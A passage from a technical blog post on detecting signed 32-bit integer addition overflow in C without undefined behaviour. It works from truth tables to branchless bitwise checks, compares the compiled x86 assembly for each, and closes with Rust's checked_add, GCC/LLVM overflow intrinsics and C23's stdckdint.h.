<p>Let’s create a <code class="language-text highlighter-rouge">NEG</code> macro with the above expression and reproduce our pseudo-truth table in code. Note that we’ll also collapse the if statements into a single boolean expression so we can eliminate those branches:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">will_add_overflow_expression</span><span class="p">(</span><span class="kt">int32_t</span> <span class="n">a_</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">b_</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// Explicitly work with uint32_t in this function</span>
    <span class="kt">uint32_t</span> <span class="n">a</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">a_</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">b_</span><span class="p">;</span>
    <span class="kt">uint32_t</span> <span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">a</span> <span class="o">+</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">b</span><span class="p">;</span>
    <span class="cp">#define NEG(x) (((uint32_t)(x) &amp; 0x80000000) == 0x80000000)
</span>    <span class="k">return</span> <span class="p">((</span><span class="o">!</span><span class="n">NEG</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">NEG</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">NEG</span><span class="p">(</span><span class="n">c</span><span class="p">))</span> 
        <span class="o">||</span> <span class="p">(</span><span class="n">NEG</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">NEG</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">NEG</span><span class="p">(</span><span class="n">c</span><span class="p">)));</span>
    <span class="cp">#undef NEG
</span><span class="p">}</span>
</code></pre></div></div>

<p>This is looking better, but because we’re using <a href="https://en.wikipedia.org/wiki/Short-circuit_evaluation">short-circuiting logic</a>, those branches are still there: we still have a jump!</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">will_add_overflow_expression:</span>
        <span class="nf">mov</span>     <span class="nb">eax</span><span class="p">,</span> <span class="nb">esi</span>
        <span class="nf">or</span>      <span class="nb">eax</span><span class="p">,</span> <span class="nb">edi</span>
        <span class="nf">setns</span>   <span class="nb">dl</span>
        <span class="nf">mov</span>     <span class="nb">ecx</span><span class="p">,</span> <span class="nb">esi</span>
        <span class="nf">add</span>     <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edi</span>
        <span class="nf">sets</span>    <span class="nb">al</span>
        <span class="nf">and</span>     <span class="nb">al</span><span class="p">,</span> <span class="nb">dl</span>
        <span class="nf">test</span>    <span class="nb">edi</span><span class="p">,</span> <span class="nb">edi</span>
        <span class="nf">jns</span>     <span class="nv">.LBB3_3</span>
        <span class="nf">test</span>    <span class="nb">al</span><span class="p">,</span> <span class="nb">al</span>
        <span class="nf">jne</span>     <span class="nv">.LBB3_3</span>
        <span class="nf">test</span>    <span class="nb">esi</span><span class="p">,</span> <span class="nb">esi</span>
        <span class="nf">sets</span>    <span class="nb">dl</span>
        <span class="nf">test</span>    <span class="nb">ecx</span><span class="p">,</span> <span class="nb">ecx</span>
        <span class="nf">setns</span>   <span class="nb">al</span>
        <span class="nf">and</span>     <span class="nb">al</span><span class="p">,</span> <span class="nb">dl</span>
<span class="nl">.LBB3_3:</span>
        <span class="nf">ret</span>
</code></pre></div></div>

<p>We can get rid of the branches by using non-short-circuiting bitwise operators:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">will_add_overflow_bitwise</span><span class="p">(</span><span class="kt">int32_t</span> <span class="n">a_</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">b_</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">uint32_t</span> <span class="n">a</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">a_</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">b_</span><span class="p">;</span>
    <span class="kt">uint32_t</span> <span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">a</span> <span class="o">+</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">b</span><span class="p">;</span>
    <span class="cp">#define NEG(x) (((uint32_t)(x) &amp; 0x80000000) == 0x80000000)
</span>    <span class="k">return</span> <span class="p">((</span><span class="o">!</span><span class="n">NEG</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">&amp;</span> <span class="o">!</span><span class="n">NEG</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">NEG</span><span class="p">(</span><span class="n">c</span><span class="p">))</span> 
        <span class="o">|</span> <span class="p">(</span><span class="n">NEG</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">NEG</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o">&amp;</span> <span class="o">!</span><span class="n">NEG</span><span class="p">(</span><span class="n">c</span><span class="p">)));</span>
    <span class="cp">#undef NEG
</span><span class="p">}</span>
</code></pre></div></div>

<p>And now it’s starting to look pretty compact (though we can do better):</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">will_add_overflow_bitwise:</span>
        <span class="nf">lea</span>     <span class="nb">ecx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span> <span class="o">+</span> <span class="nb">rdi</span><span class="p">]</span>
        <span class="nf">mov</span>     <span class="nb">eax</span><span class="p">,</span> <span class="nb">esi</span>
        <span class="nf">or</span>      <span class="nb">eax</span><span class="p">,</span> <span class="nb">edi</span>
        <span class="nf">and</span>     <span class="nb">esi</span><span class="p">,</span> <span class="nb">edi</span>
        <span class="nf">xor</span>     <span class="nb">eax</span><span class="p">,</span> <span class="nb">esi</span>
        <span class="nf">not</span>     <span class="nb">eax</span>
        <span class="nf">and</span>     <span class="nb">eax</span><span class="p">,</span> <span class="nb">ecx</span>
        <span class="nf">xor</span>     <span class="nb">eax</span><span class="p">,</span> <span class="nb">esi</span>
        <span class="nf">shr</span>     <span class="nb">eax</span><span class="p">,</span> <span class="mi">31</span>
        <span class="nf">ret</span>
</code></pre></div></div>

<p>Notice that the assembly gives us a bit of a hint here that repeated use of our macro isn’t actually necessary. The sign bit we’re interested in isn’t tested until the end of the function! Because we’re testing the same bit in every part of the expression, and bits in a given position only interact with other bits in the same position, we can pull that bit test out of the whole expression:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">will_add_overflow_bitwise_2</span><span class="p">(</span><span class="kt">int32_t</span> <span class="n">a_</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">b_</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">uint32_t</span> <span class="n">a</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">a_</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">b_</span><span class="p">;</span>
    <span class="kt">uint32_t</span> <span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">a</span> <span class="o">+</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">b</span><span class="p">;</span>
    <span class="cp">#define NEG(x) (((uint32_t)(x) &amp; 0x80000000) == 0x80000000)
</span>    <span class="k">return</span> <span class="n">NEG</span><span class="p">((</span><span class="o">~</span><span class="n">a</span> <span class="o">&amp;</span> <span class="o">~</span><span class="n">b</span> <span class="o">&amp;</span> <span class="n">c</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">a</span> <span class="o">&amp;</span> <span class="n">b</span> <span class="o">&amp;</span> <span class="o">~</span><span class="n">c</span><span class="p">));</span>
    <span class="cp">#undef NEG
</span><span class="p">}</span>
</code></pre></div></div>

<p>We can also make use of the knowledge that testing the sign bit is the same as an unsigned shift right:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">will_add_overflow_bitwise_3</span><span class="p">(</span><span class="kt">int32_t</span> <span class="n">a_</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">b_</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">uint32_t</span> <span class="n">a</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">a_</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">b_</span><span class="p">;</span>
    <span class="kt">uint32_t</span> <span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">a</span> <span class="o">+</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">b</span><span class="p">;</span>
    <span class="k">return</span> <span class="p">((</span><span class="o">~</span><span class="n">a</span> <span class="o">&amp;</span> <span class="o">~</span><span class="n">b</span> <span class="o">&amp;</span> <span class="n">c</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">a</span> <span class="o">&amp;</span> <span class="n">b</span> <span class="o">&amp;</span> <span class="o">~</span><span class="n">c</span><span class="p">))</span> <span class="o">&gt;&gt;</span> <span class="mi">31</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Not too bad! But let’s revisit the truth table and instead use the value of the sign bit directly. What we see is that <code class="language-text highlighter-rouge">a</code> and <code class="language-text highlighter-rouge">b</code> need to be the same value, and <code class="language-text highlighter-rouge">c</code> needs to be the opposite value:</p>

<table id="bit_twiddling_truth_table" border="">
<tr>
<th>a</th>
<th>b</th>
<th>c</th>
</tr>
<tr>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>1</td>
</tr>
</table>

<p>This truth table shows that what we ultimately want to test is this:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(a == 1 &amp;&amp; b == 1 &amp;&amp; c == 0) || (a == 0 &amp;&amp; b == 0 &amp;&amp; c == 1)
</code></pre></div></div>

<p>… but with a bit of work, we can simplify this down to two shorter expression candidates:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(a == b) &amp;&amp; (a == !c)
(c == !a) &amp;&amp; (c == !b)
</code></pre></div></div>

<p>For bit twiddling like we’re doing here, xor (<code class="language-text highlighter-rouge">^</code>) can work like a “not-equals” operator (outputs 1 iff the inputs are 0,1 or 1,0), which means we can re-write our two expressions like so:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~(a ^ b) &amp; (c ^ a)
(c ^ a) &amp; (c ^ b)
</code></pre></div></div>

<p>By looking at those two options, is there a hint that one might be cheaper to implement? Let’s plug both into the compiler and see what we get!</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">will_add_overflow_optimized_a</span><span class="p">(</span><span class="kt">int32_t</span> <span class="n">a_</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">b_</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">uint32_t</span> <span class="n">a</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">a_</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">b_</span><span class="p">;</span>
    <span class="kt">uint32_t</span> <span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">a</span> <span class="o">+</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">b</span><span class="p">;</span>
    <span class="k">return</span> <span class="p">(</span><span class="o">~</span><span class="p">(</span><span class="n">a</span> <span class="o">^</span> <span class="n">b</span><span class="p">)</span> <span class="o">&amp;</span> <span class="p">(</span><span class="n">c</span> <span class="o">^</span> <span class="n">a</span><span class="p">))</span> <span class="o">&gt;&gt;</span> <span class="mi">31</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">bool</span> <span class="nf">will_add_overflow_optimized_b</span><span class="p">(</span><span class="kt">int32_t</span> <span class="n">a_</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">b_</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">uint32_t</span> <span class="n">a</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">a_</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">b_</span><span class="p">;</span>
    <span class="kt">uint32_t</span> <span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">a</span> <span class="o">+</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">b</span><span class="p">;</span>
    <span class="k">return</span> <span class="p">((</span><span class="n">c</span> <span class="o">^</span> <span class="n">a</span><span class="p">)</span> <span class="o">&amp;</span> <span class="p">(</span><span class="n">c</span> <span class="o">^</span> <span class="n">b</span><span class="p">))</span> <span class="o">&gt;&gt;</span> <span class="mi">31</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And the resulting compiled versions:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">will_add_overflow_optimized_a:</span>
        <span class="nf">lea</span>     <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span> <span class="o">+</span> <span class="nb">rdi</span><span class="p">]</span>
        <span class="nf">xor</span>     <span class="nb">eax</span><span class="p">,</span> <span class="nb">edi</span>
        <span class="nf">mov</span>     <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edi</span>
        <span class="nf">xor</span>     <span class="nb">ecx</span><span class="p">,</span> <span class="nb">esi</span>
        <span class="nf">not</span>     <span class="nb">ecx</span>
        <span class="nf">and</span>     <span class="nb">eax</span><span class="p">,</span> <span class="nb">ecx</span>
        <span class="nf">shr</span>     <span class="nb">eax</span><span class="p">,</span> <span class="mi">31</span>
        <span class="nf">ret</span>
<span class="nl">will_add_overflow_optimized_b:</span>
        <span class="nf">lea</span>     <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span> <span class="o">+</span> <span class="nb">rdi</span><span class="p">]</span>
        <span class="nf">xor</span>     <span class="nb">edi</span><span class="p">,</span> <span class="nb">eax</span>
        <span class="nf">xor</span>     <span class="nb">eax</span><span class="p">,</span> <span class="nb">esi</span>
        <span class="nf">and</span>     <span class="nb">eax</span><span class="p">,</span> <span class="nb">edi</span>
        <span class="nf">shr</span>     <span class="nb">eax</span><span class="p">,</span> <span class="mi">31</span>
        <span class="nf">ret</span>
</code></pre></div></div>

<p>We have a clear winner here: the compiler can do a much better job with <code class="language-text highlighter-rouge">(c ^ a) &amp; (c ^ b)</code>. This is most likely because of the common sub-expression and the removal of the bitwise-not operator.</p>

<p>We can also confirm that there’s no known undefined behaviour by <a href="https://c.godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAMzwBtMA7AQwFtMQByARg9KtQYEAysib0QXACx8BBAKoBnTAAUAHpwAMvAFYTStJg1AB9U8lJL6yAngGVG6AMKpaAVxYMQAZi%2BkHAGTwGTAA5dwAjTGIJAE5SAAdUBUJbBmc3D29fROSbAUDgsJZI6K44y0xrVKECJmICdPdPHwtMKzyGGrqCAtCIqNiLWvrGzJaFYZ6gvuKBsoBKC1RXYmR2DgBSACYvIOQ3LABqDa9HCfRw1BcAOgQT7A2NAEFt3YZ91yOTs4J8QVv7o8Xjs9gdMMdTudbACvA9nkDLi5DgB3Oi0YxMdDoYyoABuUSotFQyOMQQIxCCyWQEDJXi2xgIhyYpEOtPpjPC82OAHYAEJAw6C1mCOkMw7ETAKVy0AgnfnPIXizAEFYMQ6mcKuOg2BgYrE4/HEQnEiDMw7hFnbABsEqlMvmcqBG25ABEnc9EbQUWi9di8QSiSSrZJwoQaSL2UyWWyxZyefKnoqAPRJplMhjoc1MiWHeLEVAsVAETCZoiHYMAWlDjOSwGCmbJmGAUQUAqFZODYtt0sZJxdh3DBE7BHmTGOW155sdCvbVAH3ZlEMchwAkiEACqigCya55jmdy4Xvdhq4326eAA0uc6E4rFRKVcQ1eTXJhp4mhc63TPBQ/VYcqDEJR3y/d0nk9b1aHRTE/UNY0STwKhB1FRkzRjDlrz5NtBRTQ5sFUeJaDwZBCFoABPQ40AYQ1GTLLUIzFQxSwQRhzSYZAAGtsOFAgUMoiF%2B2Q9l5igejeOEsdtknCAxJQ%2BZOXfRVEIHSSTw0ccrWtLN7kOdTrS05Al10zDbzvX9lX/F83y8UzBVAn9WTnU0jL0rZNLc7TTl0jSDIhB4vH7DQTO4%2B8LKfQ4rMUz9XW4v9wsA2hgJsp0YvhD0ri9VEoN9A0A2JYxMAI21kgEITGOMaMGI5Yxgoc3D8MI4jSIo5ESA470CAQQ5ZMjIIIoQPAFAA1x3g6biesYgSBwmkcmAqzzBJm%2BTjCiwUZv4vtpvQ0dx2kpbwlW8cvCwGhgkOEJsAAcQgVQuSgGTtpu68PI0VQAA4NE%2Br6goEzbXo%2B77PodBy4rVKAwDAC7rqYZ73KtQ4IahiA430jykeQeZrwcxUDwPAckZhny0au5HYa0xGSYxzHDteEaTvOq6Uu/F50qRLLoP1f0jUDYxq1RJQytQ%2Bb0PNGr43GkXVMW7a5pZcIpoeqrlsO9bDM2xXxIZHapK2pWDuShzXhO6YGeu26B1Ex7za0/7AaB36At0967aC2KwrBiAKeh2GEchkmUeJ66qeObHouXCACZ9pGA/hr2ICph0DY/OydjpzA5yhpmwIg9mcq5%2BDecIfnMGMLZBaZYWqtF2rk%2B6yWFaW2WFt1zWR3CFak8VVWG5l3aW7k/XbKO42zqR837qWp6NKdgHAevAK/udu3gdr0HTagAA/SSPI3%2BWDMw8Pt/hved6pmnU4zdPTaztLwIyyCOdgvKST5waS68cum5F9ua67%2Bv1cbvNPejsNYDw7kPbuADe461AcJQebtHwey3tPXe08MZ7hUtPE%2B8MN7B0BCeLwXAQKpRZnfNmPoYK5W5vlVA8QbAsDwAALxLBiT%2BldW7V3Fg5daUt%2B4SSAT3PW4CJZVzViAxufdYFa3gSDd2A4N7OQ2AAVmwOaH28djgqKZJjPyOlCHEOZgie%2BudKH5x5rQ%2BhTCWHhDYZVDhP8uG1x4YI1uo4BFQKESrEWYjpZK23ntbaMjV5yKgGrLRhMtIaOUaozk89/KqP0UneypCySHBYEwIIEBcSoDwOgX%2B7Yq7FgmMYUQShWxKP5Eo/sm0bwhSFBoUgdSU68i4I00OgoKytKaaeTc9ItyXjabXRUa5enGH6ReQ4FZDhdPaT07ca5BlmUFCM%2BZIQ%2B4zNrqBJJhsdgj3BOubAQh1zUBMo5AcSEzRxghptNAxAJTWFOXmMkSFthbAAGIZK9K8o6c5XkgHHEozM2xAXKMcAwV5LJLmJ0nF%2BHkhiHL8GIAOVJeApoaDlKyIyyRmGoCQkUggJSmBlK5KmbFmBcUQHxYSspyjeToqqdC1kUkpL5LMoi5FghDjaDRRi7l3xDhkopVS0pkoSUCqsUKyUBKRXlLpcol0jLtDMonKypZgp/6O2FUSyUtK8DysOmq7%2BU0tU0oqUqqpBqlkQVufc48/YTGczgjzMkFIGBUlNHLaF3TFQHKORAB1T9qFBhDIQL1syfWHOOQGqhBdEJhqGUs31UaKGOufgVIqkoSoMHjWqiNfro1mPyq/JQObc2CiTf6lNgaC7FpLlsUtZaK0FqdUWoub9jBeAbbmptVaY3mLoXgBhzDsQw0tWZHt2VTEtpJBYwdVjsQKU7ks5JOMSHJI4IsWgnAlG8E8BwLQpBUCcGXAoZYqxwSvB4KQAgmgN2LA4t4bk1wuDcitFsDQbluRKO5F%2Bq0cQt0cEkLu29h7OC8AUCABpN790btIHAWASA0AsHiHQKI5BKBIZQ/QaIyB9iGGAFwJRn1SBYFxMRTAAA1PAmBkQAHl4iME4FemgMoWyUHCCB0MzBiBkSY7wJDbBBC0YYOREDWB0lGHEDBkjeBbV4HxBB6ThVKiuGLHx8ggg2ggaIuEYgdQyLOCwCB8kg6%2BOLEJEwYACgqM0fo4x7gvB%2BCCBEGIdgUgZCCEUCodQ0ndCtIMEYEApgSn6DwOECDkBFizoEIpistGvCTKoAoQwKRmF9lrPWCsjZmzEArIW5E5BkNERIgQCsI0Msliy5pnLFYXzvCYB0QrjUSsVgq%2BgKrxYat1dEI1wdzXCAdabFEVreA6wVmQAgfDmBwNtEqB0ewGZRieFaQEaYRQSggCUQkJIKQBBLb0DkXbDBejrbmK0do1RJj7daRUKoAguj1BO/0aIW2JjdGu0MboT3ZilEWKelYawJCbu3cB6TR6OCHHelaCswZKIBeANMpR1wNDI4HLgQgJAjpcHmLwaDWhMakAfVsGI1xJAxA0JIK0XgYjk7euTmIb19CcCA6QPdB7wfgcg9e29ix4OIBAMp5AqmSDodNMQKzyhDBtCEAgYke6r2YboA11Ikvgi0Bl3LkDivsMoDw0YQjxHtdRFo6pjXyI2e8EF08cXinLeqEqDUP4YGPPCFEOIdzTn5BKDUCBvz%2Bh8NBbMKF8L8AosDpi5wOLCWKxJZSzYNLAU2uDZq/lprxWBvldG5l7Lw3uvK4EGnpqpWk859y3n3rRWi/J%2BGxl8bk2jDTaWADtzQw/iq%2Bl7L836nySYHWFe5Een4hmaZxwHdrOQPg/wipogSKocw8kHD/DiPkeo4gI4Fk6OZ9Y5x9zmDBOH0%2BGuD4Y/J/T8j5Zxb0DHBOdQZ58DjgWxQfs%2Bd3ju9pBDRZpAJIIAA%3D%3D%3D">compiling it with clang’s <code class="language-text highlighter-rouge">-fsanitize=undefined</code> feature</a>. No UB warnings are printed, which means no UB was detected!</p>

<h2 id="epilogue">Epilogue</h2>

<p>While this is the fastest we can get with bog-standard C99, this isn’t necessarily the best we can do.</p>

<p>Rust makes use of the compiler intrinsics to access the overflow flag of the processor directly:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">pub</span> <span class="k">fn</span> <span class="nf">add</span><span class="p">(</span><span class="n">a</span><span class="p">:</span> <span class="nb">i32</span><span class="p">,</span> <span class="n">b</span><span class="p">:</span> <span class="nb">i32</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="nb">bool</span> <span class="p">{</span>
    <span class="n">a</span><span class="nf">.checked_add</span><span class="p">(</span><span class="n">b</span><span class="p">)</span><span class="nf">.is_none</span><span class="p">()</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">example:</span><span class="p">:</span><span class="nl">add:</span>
    <span class="nf">add</span>     <span class="nb">edi</span><span class="p">,</span> <span class="nb">esi</span>
    <span class="nf">seto</span>    <span class="nb">al</span>
    <span class="nf">ret</span>
</code></pre></div></div>

<p>It turns out that <a href="https://gcc.gnu.org/onlinedocs/gcc/Integer-Overflow-Builtins.html">both GCC and LLVM have C intrinsics</a> that you can use. While they are non-portable to some compilers, they drastically simplify the assembly output!</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">will_add_overflow_intrinsic</span><span class="p">(</span><span class="kt">int32_t</span> <span class="n">a</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">b</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int32_t</span> <span class="n">result</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">__builtin_add_overflow</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">result</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And, just like with the Rust compiler above, this generates optimal assembly!</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">will_add_overflow_intrinsic:</span>
        <span class="nf">add</span>     <span class="nb">edi</span><span class="p">,</span> <span class="nb">esi</span>
        <span class="nf">seto</span>    <span class="nb">al</span>
        <span class="nf">ret</span>
</code></pre></div></div>

<p>Not to worry about this being so deeply compiler-specific for now, however. This will be standardized in C23 with the <a href="https://gustedt.wordpress.com/2022/12/18/checked-integer-arithmetic-in-the-prospect-of-c23/">addition of the functions in the <code class="language-text highlighter-rouge">stdckdint.h</code> header</a>.</p>

<p>A full suite of tests to explore the solutions <a href="https://c.godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAMzwBtMA7AQwFtMQByARg9KtQYEAysib0QXACx8BBAKoBnTAAUAHpwAMvAFYTStJg1AB9U8lJL6yAngGVG6AMKpaAVxYMQAZi%2BkHAGTwGTAA5dwAjTGIJAE5SAAdUBUJbBmc3D29fROSbAUDgsJZI6K44y0xrVKECJmICdPdPHwtMKzyGGrqCAtCIqNiLWvrGzJaFYZ6gvuKBsoBKC1RXYmR2DgBSACYvIOQ3LABqDa9HCfRw1BcAOgQT7A2NAEFt3YZ91yOTs4J8QVv7o8Xjs9gdMMdTudbACvA9nkDLi5DgB3Oi0YxMdDoYyoABuUSotFQyOMQQIxCCyWQEDJXi2xgIhyYpEOtPpjPC82OAHYAEJAw6C1mCOkMw7ETAKVy0AgnfnPIXizAEFYMQ6mcKuOg2BgYrE4/HEQnEiDMw7hFnbABsEqlMvmcqBG25ABEnc9EbQUWi9di8QSiSSrZJwoQaSL2UyWWyxZyefKnoqAPRJplMhjoc1MiWHeLEVAsVAETCZoiHYMAWlDjOSwGCmbJmGAUQUAqFZODYtt0sZJxdh3DBE7BHmTGOW155sdCvbVAH3ZlEMchwAkiEACqigCya55jmdy4Xvdhq4326eAA0uc6E4rFRKVcQ1eTXJhp4mhc63TPBQ/VYcqDEJR3y/d0nk9b1aHRTE/UNY0STwKhB1FRkzRjDlrz5NtBRTQ5sFUeJaDwZBCFoABPQ40AYQ1GTLLUIzFQxSwQRhzSYZAAGtsOFAgUMoiF%2B2Q9l5igejeOEsdtknCAxJQ%2BZOXfRVEIHSSTw0ccrWtLN7kOdTrS05Al10zDbzvX9lX/F83y8UzBVAn9WTnU0jL0rZNLc7TTl0jSDIhB4vH7DQTO4%2B8LKfQ4rMUz9XW4v9wsA2hgJsp0YvhD0ri9VEoN9A0A2JYxMAI21kgEITGOMaMGI5Yxgoc3D8MI4jSIo5ESA470CAQQ5ZMjIIIoQPAFAA1x3g6biesYgSBwmkcmAqzzBJm%2BTjCiwUZv4vtpvQ0dx2kpbwlW8cvCwGhgkOEJsAAcQgVQuSgGTtpu68PI0VQAA4NE%2Br6goEzbXo%2B77PodBy4rVKAwDAC7rqYZ73KtQ4IahiA430jykeQeZrwcxUDwPAckZhny0au5HYa0xGSYxzHDteEaTvOq6Uu/F50qRLLoP1f0jUDYxq1RJQytQ%2Bb0PNGr43GkXVMW7a5pZcIpoeqrlsO9bDM2xXxIZHapK2pWDuShzXhO6YGeu26B1Ex7za0/7AaB36At0967aC2KwrBiAKeh2GEchkmUeJ66qeObHouXCACZ9pGA/hr2ICph0DY/OydjpzA5yhpmwIg9mcq5%2BDecIfnMGMLZBaZYWqtF2rk%2B6yWFaW2WFt1zWR3CFak8VVWG5l3aW7k/XbKO42zqR837qWp6NKdgHAevAK/udu3gdr0HTagAA/SSPI3%2BWDMw8Pt/hved6pmnU4zdPTaztLwIyyCOdgvKST5waS68cum5F9ua67%2Bv1cbvNPejsNYDw7kPbuADe461AcJQebtHwey3tPXe08MZ7hUtPE%2B8MN7B0BCeLwXAQKpRZnfNmPoYK5W5vlVA8QbAsDwAALxLBiT%2BldW7V3Fg5daUt%2B4SSAT3PW4CJZVzViAxufdYFa3gSDd2A4N7OQ2AAVmwOaH28djgqKZJjPyOlCHEOZgie%2BudKH5x5rQ%2BhTCWHhDYZVDhP8uG1x4YI1uo4BFQKESrEWYjpZK23ntbaMjV5yKgGrLRhMtIaOUaozk89/KqP0UneypCySHBYEwIIEBcSoDwOgX%2B7Yq7FgmMYUQShWxKP5Eo/sm0bwhSFBoUgdSU68i4I00OgoKytKaaeTc9ItyXjabXRUa5enGH6ReQ4FZDhdPaT07ca5BlmUFCM%2BZIQ%2B4zNrqBJJhsdgj3BOubAQh1zUBMo5AcSEzRxghptNAxAJTWFOXmMkSFthbAAGIZK9K8o6c5XkgHHEozM2xAXKMcAwV5LJLmJ0nF%2BHkhiHL8GIAOVJeApoaDlKyIyyRmGoCQkUggJSmBlK5KmbFmBcUQHxYSspyjeToqqdC1kUkpL5LMoi5FghDjaDRRi7l3xDhkopVS0pkoSUCqsUKyUBKRXlLpcol0jLtDMonKypZgp/6O2FUSyUtK8DysOmq7%2BU0tU0oqUqqpBqlkQVufc48/YTGczgjzMkFIGBUlNHLaF3TFQHKORAB1T9qFBhDIQL1syfWHOOQGqhBdEJhqGUs31UaKGOufgVIqkoSoMHjWqiNfro1mPyq/JQObc2CiTf6lNgaC7FpLlsUtZaK0FqdUWoub9jBeAbbmptVaY3mLoXgBhzDsQw0tWZHt2VTEtpJBYwdVjsQKU7ks5JOMSHJI4IsWgnAlG8E8BwLQpBUCcGXAoZYqxwSvB4KQAgmgN2L